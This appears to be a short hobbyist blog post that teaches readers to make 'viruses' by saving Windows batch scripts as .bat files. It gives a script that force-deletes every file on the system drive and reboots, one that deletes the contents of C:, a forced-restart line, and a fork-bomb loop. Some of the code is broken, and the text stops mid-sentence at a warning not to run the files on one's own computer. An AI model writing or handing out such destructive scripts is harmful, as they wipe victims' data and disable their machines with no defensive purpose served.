Tricks to make Simple Virus

There are many Virus which we an develop or can make easily. As I already posted earlier about many Tricks to make Virus, Now here are some more Tricks to make Simple Virus. To make them use the following Trick :
1) Open Notepad
2) Copy and Paste the given below Code of your Choice i.e. type of Virus you want to make :



a) To Delete all the Content of a Drive use this Code :
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
b) To Crush the Windows use this Code :
@Echo off
Del C:\ *.* y
c) To make Computer Restart simultaneously use this Code :
@echo off shutdown -r -f -t 00
d) To make Fork Virus to open many Command Prompts use this Code :
start
%0
goto :s
3) Now Save these Files with any desired name with .bat extention.
4) Don't Run these Files on Your own Computer ot